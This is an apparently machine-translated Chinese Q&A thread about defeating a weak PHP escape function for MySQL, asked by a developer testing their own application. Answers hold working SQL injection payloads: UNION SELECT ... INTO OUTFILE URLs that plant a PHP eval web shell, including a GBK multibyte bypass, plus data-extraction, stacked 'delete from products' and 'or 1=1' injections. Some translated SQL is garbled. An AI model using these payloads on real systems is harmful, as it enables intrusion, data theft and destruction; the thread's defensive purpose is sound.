发现MySql有一个弱转义函数，如何利用？

Question

在我正在开发的一个应用程序中，我发现了一个弱转义函数来防止注入。我试图证明这一点，但我很难想出一个简单的例子。

转义函数的工作原理如下（PHP 示例）。

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

我意识到这不处理使用双引号 (") 编码的值，但所有查询都是使用单引号 (') 构造的。

谁能击败这个转义函数？

要求：

• 查询中的字符串始终用引号引起来。
• 双引号从未使用过
• MySQL 连接设置为 UTF8

简单示例：

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

Answer 1

如果您只是用 '' 替换 ' 那么您可以通过注入 \' 来利用它，它将变成到 \'' 中，这将允许您突破，因为这为您提供了“字符文字”单引号和真正的单引号。但是，将 "\\" 替换为 "\\\\" 可以消除此攻击。双单引号用于“转义”MS-SQL 的单引号，但这不适合 MySQL，但它可以工作。

以下代码证明除了三个条件之外，此转义函数对于所有情况都是安全的。此代码排列控制章程的所有可能变体，并测试每个变体以确保单引号括起来的 select 语句不会发生错误。此代码在 MySQL 5.1.41 上进行了测试。

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

漏洞条件 1：未使用引号。

mysql_query("select username from users where id=".escape($_GET['id']));

漏洞利用：

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

漏洞条件 2：使用双引号

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

漏洞利用：

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

漏洞条件 2：使用单引号，但 < a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string" rel="noreferrer">使用替代字符集。 。

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

利用：

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

结论是始终使用mysql_real_escape_string()作为MySQL的转义例程。连接到 mysql 数据库时，pdo 和 adodb 等参数化查询库始终使用 mysql_real_escape_string() 。 addslashes() 是一个逃逸例程的更好，因为它可以处理易受攻击的情况 2。应该注意的是，即使是 mysql_real_escape_string()将停止条件 1，但参数化查询库会停止。

Answer 2

事实上，此外您还可以尝试使用 UNION SELECT

shop.php?productid=322

=>

shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--

显示其他表的信息。

当然，您必须更改表名称和 UNION SELECT 中的数字以匹配您拥有的列数。这是提取管理员用户名和密码等数据的流行方法。

Answer 3

转义函数不处理多字节字符。检查 http://shiflett.org/blog/2006 /jan/addslashes-versus-mysql-real-escape-string 查看如何利用此转义函数。

享受黑客数据库的乐趣！

Answer 4

处理数字时怎么样？

shop.php?productid=322 

变为

SELECT * FROM [Products] WHERE Productid=322

---

shop.php?productid=322; delete from products;--

变为

SELECT * FROM [Products] WHERE Productid=322；从产品中删除;--

（并非所有查询都是使用单引号和字符串构建的）

Answer 5

由于您使用 UTF-8 作为编码，因此可能容易受到过长 UTF-8 序列的影响。撇号字符 (') 虽然通常编码为 0x27，但可以编码为超长序列 0xc0 0xa7（URL 编码：%c0%a7）。转义函数会错过这一点，但 MySQL 可能会以导致 SQL 注入的方式解释它。

正如其他人提到的，您确实需要至少使用 mysql_real_escape_string （在您的情况下很容易修复），它应该为您处理字符编码和其他问题。最好切换到使用准备好的语句。

Answer 6

我从来没有使用过PHP，但是，你能不使用存储过程调用而不是直接SQL语句吗？与尝试使用转义函数相比，这似乎是更好的防御 SQL 注入的方法。

然而，转义函数对于对抗恶意 JavaScript 很有用。

Answer 7

怎么样...

\' or 1=1--

应该扩展到：

\'' or 1=1--

因此在以下查询中使用它作为 id...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

应该会导致：

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';